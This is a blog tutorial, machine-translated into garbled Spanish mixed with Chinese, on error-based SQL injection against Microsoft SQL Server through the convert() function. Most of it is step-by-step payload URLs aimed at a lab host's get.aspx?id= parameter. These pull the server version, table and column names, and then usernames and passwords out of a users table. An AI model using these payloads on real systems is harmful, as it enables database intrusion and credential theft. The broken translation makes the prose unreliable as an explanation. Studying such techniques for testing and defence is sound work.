Nota manos de inyección de error de Microsoft SQL Server

saulGoodman

Una serie de investigaciones ofensivo y defensivo se centró en equipo rojo del público

关注

Nota manos de inyección de error de Microsoft SQL Server

breve introducción

Hoy en día, la mayor parte con la sqlimplantación de 报错型, en la mayoría de las listas de artículos en línea similar a la fórmula de la oración, pero no puede explicar por qué desea utilizar esta función, por qué el uso de esta función dará lugar a un error de inyección SQL.

convert()Función, CONVERT()la función es convertir a la nueva función de tipo de datos de fecha a través del uso.

sintaxis:

CONVERT(data_type(length),data_to_be_converted,style)
注释 :
data_type(length) 转换为⽬标数据类型(带有可选的长度)。
data_to_be_converted 含有需要转换的值。
style 规定⽇期/时间的输出格式。

⽰ 例:

CONVERT(VARCHAR(19),GETDATE())
CONVERT(VARCHAR(10),GETDATE(),110) 
CONVERT(VARCHAR(11),GETDATE(),106)
CONVERT(VARCHAR(24),GETDATE(),113)

Resultados similares:

Dec 29 2008 11:45 PM
12-29-2008
29 Dec 08
29 Dec 2008 16:25:46.635

principio

Para  convert(int,@@version), convert la función será, por tanto, especialmente para realizar segundo parámetro especifica el tiro consulta SQL, y luego tratar de convertir el resultado de la consulta es intde tipo. Sin embargo, debido a los resultados de las consultas SQL son varchartipos, no se puede realizar debido a la conversión especificada, por lo que la convertfunción va a tirar ⼀ un SQL servermensaje de error que dice "resultados de la consulta SQL" ⽆ ley convierte a “int”escribir, en este caso, el atacante puede obtener los resultados de una consulta SQL.

condición vacía de la función completa, hay muchos:

convert() 
file_name() 
db_name() 
col_name() 
filegroup_name()
object_name() 
schema_name() 
type_name() 
cast()

Nota proceso START

consulta la información básica

convert(int,@@version)     获取版本信息 
convert(int,db_name())     数据库名字 
convert(int,user)      当前⽤户名 
convert(int,@@SERVERNAME)  获取有关服务器主机的信息

Obtener información sobre la versión

http://192.168.159.135:8080/get.aspx?id=convert(int,@@version)

Tenga en cuenta que ahora funcionamos directamente en  id= la parte de atrás, ya que  id=1 la consulta es un número entero ( int), y nuestra  convert(int,@@version) información de la versión adquirida 字符型, por lo que obtendrá un error por lo que rompió la información de la versión!

O puede utilizar esta declaración puede alcanzar los resultados anteriores:

http://192.168.159.135:8080/get.aspx?id=1 and 1=(convert(int,@@version))

Recibe el nombre actual de la tabla de base de datos

CONVERT(int,(select top 1 table_name from information_schema.columns))
http://192.168.159.135:8080/get.aspx?id=CONVERT(int,(select top 1 table_name from information_schema.columns)

Llegamos al lugar de los nombres de las tablas de bases de datos actuales son: users!

Obtiene el nombre de la columna

convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16进制的表名 as varchar)))
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273  as varchar)))

Así llegamos al primer nombre de columna  id!

Por lo que desea obtener una segunda nombres de columna entonces podemos añadir una sentencia condicional después:and COLUMN_NAME != 'id'

http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273 as varchar) and COLUMN_NAME != 'id'))

Así llegamos a la segunda nombres de columna: username !

Quiero conseguir el tercero y así sucesivamente, más instrucción condicional:and COLUMN_NAME != 'username'

http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273 as varchar) and COLUMN_NAME != 'id' and COLUMN_NAME != 'username'))

Así que llegamos a las denominaciones de terceros columna  password !

Obtener datos

Obtenemos el orden en el nombre de la tabla por encima del lugar: users, nombres de columna son las siguientes: id, username, password. Obviamente cuenta contraseña en el nombre de la columna username, passworda continuación, podemos obtener los datos:

convert(int,(select top 1 列名 from 表名))
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 username from users))

Para obtener el primer usernamenombre de la columna primeros datos: saul!

Si desea llegar al  username interior de los segundos datos a continuación, añadir una sentencia condicional:where username!='saul'

http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 username from users where username!='saul'))

Este adquirida  username segundos datos! Quiero llegar a la segunda y así sucesivamente!

Ahora  username llegamos a la sauldos: admin,! Así que vamos a obtener su contraseña!

http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 password from users))

Adquisición de la primera  password columna de valores: saul520!

¿Quieres conseguir una ventaja en una  where sentencia condicional:where password!='saul520'

http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 password from users where password!='saul520'))

Esto hará que a la segunda passwordlos datos arriba!

En este punto, Mssqlla 报错注入parada aquí!

Publicado 12 artículos originales · ganado elogios 4 · Vistas 2268

Supongo que te gusta

Origin blog.csdn.net/weixin_46245322/article/details/105213367
Recomendado
Clasificación